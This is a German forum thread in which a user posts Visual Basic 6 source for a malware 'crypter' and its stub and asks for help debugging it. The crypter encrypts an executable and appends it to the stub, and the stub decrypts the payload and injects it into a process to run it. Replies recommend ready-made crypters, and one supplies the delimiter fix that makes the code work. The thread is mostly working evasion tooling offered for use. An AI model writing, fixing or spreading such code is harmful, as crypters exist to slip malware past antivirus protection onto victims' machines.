Wurm

[ab81]

Hallo Leute , bin schon am verzweifeln
Kann mir bitte jemand sagen, wo hier der Fehler steckt?
Wäre sehr dankbar.

Crypter :

Private Sub Build_Click(Index As Integer)
 Dim StubData As String
 Dim Data As String
 Dim abc As String
 Dim c As New clsCryptAPI

Open App.Path & "\stub.exe" For Binary As #1
StubData = Space(LOF(1))
Get #1, , StubData
Close #1

Open Text1.Text For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1

abc = c.EncryptString(Data)

Open App.Path & "\Test.exe" For Binary As #1
Put #1, , StubData
Put #1, , abc
Close #1
                
End Sub

Stub :

Private Sub Main()
    Dim sPath   As String
    Dim Data As String
    Dim SplittedData() As String
    Dim cCrypt  As New clsCryptAPI
    Dim def As String
    
    sPath = ThisExe

        Open sPath For Binary As #1
        Data = Space(LOF(1))
        Get #1, , Data
        Close #1
        
        SplittedData() = Split(Data)
        def = cCrypt.DecryptString(SplittedData(1))
        mPEL.InjectExe sPath, StrConv(SplittedData(1), vbFromUnicode)
        
    End Sub

Glaube irgendwo in der Stub, aber wo ??

[jopax]

google mal lieber diese cods gibt so viele davon also fertige ^.^

[ab81]

was soll ich da eingeben ? fertiger code bitte ?
ist bestimmt nur eine kleinigkeit hier für die experten den fehler zu finden , oder?


Übrigens der Fehler bei der gecrypteten datei ist :

Laufzeitfehler 9 - ausserhalb der Reichweite

[big earl]

Woher hast du denn das 'ThistExe' genommen ?

[hackerking]

Also erstmal heißt es App.Path & App.EXEName & ".exe" und nicht ThisExe... Zweitens musst du einen Delimiter angeben: Also beim Crypter die Zeilen so verändern:

 Open App.Path & "\Test.exe" For Binary As #1 Put #1, , StubData  & "|||"  & abc Close #1

und dann bei der stub:

         SplittedData() = Split(Data, "|||")